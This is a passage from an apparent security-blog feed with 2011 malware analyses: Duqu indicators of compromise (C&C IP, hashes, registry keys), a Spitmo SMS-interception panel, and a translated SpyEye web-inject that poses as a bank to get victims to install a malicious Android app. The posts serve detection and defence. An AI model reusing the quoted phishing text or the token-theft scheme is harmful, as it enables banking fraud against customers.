/&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Finally, the malware sends all the extracted information in encrypted form to a predetermined control panel (206.183.111.97), at the same time allowing the download of more malicious content from the control panel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;b&gt; &lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Possible clues for detection&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Network traffic&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu uses the HTTP and HTTPS protocols to communicate with the control panel (C&amp;amp;C) found at the IP 206.183.111.97. This server is located in India, and has been disabled by the ISP (Web Werks WEBWRKS-PHLA1).&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Communications within the range of IP addresses 206.53.48-61.* have been reported. It is highly recommended that communication device logs are reviewed for communications with this IP or any IP within the indicated range.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Detection on infected machines&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Symantec has provided the following hashes and file names that have been identified as part of the threat.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;table class="MsoNormalTable" style="text-align: justify; width: 495.4pt; border-collapse: collapse;" cellpadding="0" cellspacing="0" width="661" border="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;MD5&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Name&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: solid none; border-color: rgb(79, 129, 189) -moz-use-text-color; border-width: 1pt medium; padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Purpose&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;0a566b1616c8afeef214372b1a0580c7&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4432.pnf&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Principal DLL&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;94c4ef91dfcd0c53a96fdc387f9f9c35&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;netp192.pnf&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Configuration File&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;e8d6b4dadb96ddb58775e6c85b10b6cc&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4464.PNF&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Configuration File&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;b4ac366e24204d821376653279cbad86&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;netp191.PNF&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Principal DLL&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;4541e850a228eb69fd0f0e924624b245&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;cmi4432.sys&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Driver&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;0eecd17c6c215b358b7b872b74bfd800&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;jminet7.sys&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Driver&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 189.95pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;9749d38ae9b9ddd81b50aad679ee87ec&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 113.15pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;[TEMP FILENAME]&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0cm 5.4pt; background: rgb(211, 223, 238) none repeat scroll 0% 0%; width: 192.3pt; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Infostealer&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 189.95pt;" valign="top" width="253"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;c9a31ea148232b201fe7cb7db5c75f5e&lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 113.15pt;" valign="top" width="151"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt;Dropper&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color rgb(79, 129, 189); border-width: medium medium 1pt; padding: 0cm 5.4pt; width: 192.3pt;" valign="top" width="256"&gt;   &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span lang="EN-GB"  style="font-size:10pt;"&gt; &lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Duqu drivers have also been detected using the following file names which were not included in the Symantec report:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;nfrd965.sys&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;adpu321.sys&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;The driver load is performed by adding some of the following keys to the Windows registry:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;HKEY _ LOCAL _ MACHINE\SYSTEM\CurrentControlSet\Services\JmiNET3&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cmi4432&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The detection of these entries in the registry of a Windows system is a clear indication that the machine is infected by Duqu.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-style: italic;"&gt;S21sec e-crime team&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-4789850294741238837?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/uiTB04yYSiw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/4789850294741238837/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=4789850294741238837" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4789850294741238837?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4789850294741238837?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/uiTB04yYSiw/duqu-new-threat.html" title="DUQU: A new threat" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-w1NcyTpucSw/TqVwncgPAWI/AAAAAAAAAzg/zOcQMxhGrT0/s72-c/image002.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/10/duqu-new-threat.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEDSXY8cSp7ImA9WhdVFkw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-6370774716419705033</id><published>2011-09-21T06:42:00.001-07:00</published><updated>2011-09-21T06:44:38.879-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-21T06:44:38.879-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="spitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="spyeye" /><title>Spitmo control panel</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Last week, we &lt;a href="http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html"&gt;analysed&lt;/a&gt; the behaviour of the mobile module used by &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Spyeye&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; to redirect the victim’s SMSs to the attacker. We have now observed that a panel is used to receive the data collected by the &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt;, where all received messages are recovered in a simple and clear manner. &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The panel that we have located is written entirely in Russian, and has only one button, to refresh the displayed data. It is very simple and its purpose is only to display the data quickly. It is important to mention that on the same &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;host&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; where the panel was housed there was also a &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;SpyEye&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; panel. The two did not appear to be related to each other, but the &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; used that same URL as a &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;dropzone&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt;. &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Below you can see a simulated request, showing the behaviour of the panel and the information it would display:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s1600/panel.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 201px;" src="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s400/panel.png" alt="" id="BLOGGER_PHOTO_ID_5654485827212897522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The process would be as follows, the attacker performs a transfer using the banking data stolen from the user infected with the &lt;/span&gt;&lt;a href="http://securityblog.s21sec.com/2011/09/spyeye-and-man-in-mobile.html"&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Spitmo&lt;/i&gt;&lt;/span&gt;&lt;/a&gt;&lt;span lang="en-GB"&gt;. The moment that the Bank performs a check to see that the transaction is valid it sends an SMS to the mobile phone of the infected user. This SMS is intercepted by &lt;/span&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;malware&lt;/i&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; and forwarded to the panel. Almost instantly, the attacker is in possession of a valid token to carry out the transaction.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The process can be carried out without raising suspicion as it is completely transparent to the user.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;All this raises doubts about how safe we are using a device that is continually interacting with the internet and over which we do not have full control of what it is doing in every moment.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;i&gt;Juan Carlos Montes&lt;br /&gt;S21sec e-crime&lt;/i&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-6370774716419705033?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/mDW151NCGlQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/6370774716419705033/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=6370774716419705033" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6370774716419705033?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6370774716419705033?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/mDW151NCGlQ/spitmo-control-panel.html" title="Spitmo control panel" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-FLwr6zBwXdU/TnjE5q6BbPI/AAAAAAAAAzA/g2t9A43eOlc/s72-c/panel.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/09/spitmo-control-panel.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8MQ3wzcSp7ImA9WhdVFkw.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-2933401430718096082</id><published>2011-09-16T05:18:00.000-07:00</published><updated>2011-09-21T06:48:02.289-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-21T06:48:02.289-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="spitmo" /><category scheme="http://www.blogger.com/atom/ns#" term="spyeye" /><title>SpyEye and Man in the Mobile</title><content type="html">On the 2nd of September, the S21sec e-crime team detected a &lt;i&gt;Spyeye&lt;/i&gt; sample actively using a &lt;a send="true" href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;MitMo&lt;/a&gt; type fraud scheme against Smartphones with the Android Operating System. The binary does show any noteworthy improvement, but the novelty lies in the injection employed to persuade the victim to install the malicious application on their mobile:&lt;br /&gt;(Translated from Spanish)&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;br /&gt;&lt;br /&gt;With regard to the numerous cases of mobile phone card cloning and theft of money from our clients’ accounts, we are obliged to inform and protect all our clients from this.&lt;br /&gt;&lt;br /&gt;To fight against this, we have developed an application that protects your telephone from SMS interception and completely guarantees the security of your mobile telephone. The application functions only on mobile telephones that use the Android platform. The holders of these telephones can now set up the application and have problem free access to their account through Internet banking. Users who do not have mobile phones which work on the Android platform, will be forced to buy them for problem free account access and protection from scammers. Until the application is activated on your mobile telephone, you will not be able to access the account through Internet banking.&lt;br /&gt;&lt;br /&gt;It is inconvenient, but it is the only way to permit your money to be kept securely. We understand that not everyone has a telephone based on Android, but only this platform is capable of providing the necessary security against this type of fraud. As soon as you have bought a phone that uses the Android platform, return, once again, into your internet banking to download and activate the application on your phone. After this, access to the account via the Internet will be completely unblocked and you will be able to use it.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;&lt;br /&gt;- Important! The telephone number tied to your account (updated for SMS and signatures) must be used on your Android mobile. It is necessary to insert your mobile phone card into the phone that uses Android.&lt;br /&gt;&lt;br /&gt;- Telephones based on Android are sold by all mobile telephone sellers in your country. Any model will suffice.&lt;br /&gt;&lt;br /&gt;If you have an Android phone or you have bought one already, we ask that you proceed to installing the application on your mobile phone.&lt;br /&gt;&lt;br /&gt;We are concerned about your security.&lt;br /&gt;&lt;br /&gt;Kind Regards.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Application setup&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To set up the application and the security for Internet banking usage, you have to open the browser on your Android mobile phone.&lt;br /&gt;&lt;br /&gt;To install the application you must connect to the Internet. If you do not know how to configure the Internet on your phone, please contact your cell phone operator.&lt;br /&gt;&lt;br /&gt;1. In your browser’s address bar, enter the following reference to download the application www.##########dad.com/simseg.apk&lt;br /&gt;&lt;br /&gt;2. After downloading the application, an arrow should appear pointing downwards in the upper left hand corner of the screen.&lt;br /&gt;&lt;br /&gt;3. Open the Warnings after pulling the menu down and start up the application.&lt;br /&gt;&lt;br /&gt;4. Once the application is running, press Install. That’s it! The application has been successfully installed on your mobile phone!&lt;br /&gt;&lt;br /&gt;5. Now you still need to authorise the telephone in your bank’s security system.&lt;br /&gt;&lt;br /&gt;Enter the number 325000 and press call. A 6 digit code should appear on the phone screen.&lt;br /&gt;&lt;br /&gt;Type those digits into the field below and that ends the process of activating the application.&lt;br /&gt;&lt;br /&gt;The generated code:  &lt;input id="codigo_generado" name="codigo_generado" maxlength="6" size="6" title="El               código generado" type="text"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you will appreciate, this time they persuade the victim to visit a link from their mobile phone, to request a 6 digit number provided by the malicious application, to simulate associating the phone to the bank 